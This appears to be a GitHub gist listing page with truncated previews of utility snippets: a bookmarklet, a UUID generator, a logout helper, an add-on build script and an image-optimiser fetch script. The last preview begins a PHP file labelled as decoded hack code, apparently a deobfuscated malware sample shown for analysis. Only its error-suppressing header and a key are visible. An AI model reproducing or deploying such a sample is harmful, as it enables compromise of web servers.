This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a class="btn btn-default btn-info bookmarklet" href="javascript:(function(d,b,c,a){b=d.location;a=b.pathname.split('/');c=b.hostname;return'github.com'==c&&2<a.length?(a=b.protocol+'//'+a[1]+'.'+c.replace(/\.com$/,'.io')+'/'+a[2],void d.open(a,'_blank')):alert('Go to a github repo and try again!'),!1})(this);"> | |
Go to Github.IO | |
</a> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** Generates UUID v4 | |
* | |
* @node There is a bug in Chrome's Math.random() according to http://devoluk.com/google-chrome-math-random-issue.html | |
* For that reason we use Date.now() as well. | |
*/ | |
function UUID() { | |
function s(n) { return h((Math.random() * (1<<(n<<2)))^Date.now()).slice(-n); } | |
function h(n) { return (n|0).toString(16); } | |
return [ | |
s(4) + s(4), s(4), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Logout from a website using HTTP Authorization. | |
* | |
* Inspired by http://stackoverflow.com/a/14329930/1242333 | |
* | |
*/ | |
(function(window,location,command,outcome,undefined){ | |
function done(e) { | |
if ( !e || this.readyState == 4 ) { | |
outcome && location.reload(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
/** | |
* A node script that abuses child_process to run cfx and post the resulting xpi to Firefox. | |
* Requires: a working installation of the Add-on SDK (with cfx on your PATH) | |
* and a recent version of Firefox with the 'Extension Auto-installer' extension installed. | |
* | |
* Original gist https://gist.github.com/canuckistani/9301061 | |
* | |
* Improved by Dumitru Uzun (DUzun.Me) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://gist.github.com/duzun/234bd3ca69b243bb32bb | |
basedir=`dirname "$0"` | |
optimagurl=https://duzun.me/optimag.js | |
optimagjs=$basedir/optimag.js | |
case `uname` in | |
*CYGWIN*) optimagjs=`cygpath -w "$optimagjs"`;; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Decoded hack code from http://pastebin.com/8asDWWrJ | |
* | |
*/ | |
//###=### | |
error_reporting(0); | |
ini_set("display_errors", "0"); | |
$_key = 'f8e7ff5a'; |
-
share, skupiny, mobil(HTML5), one click, offline, export dat, read role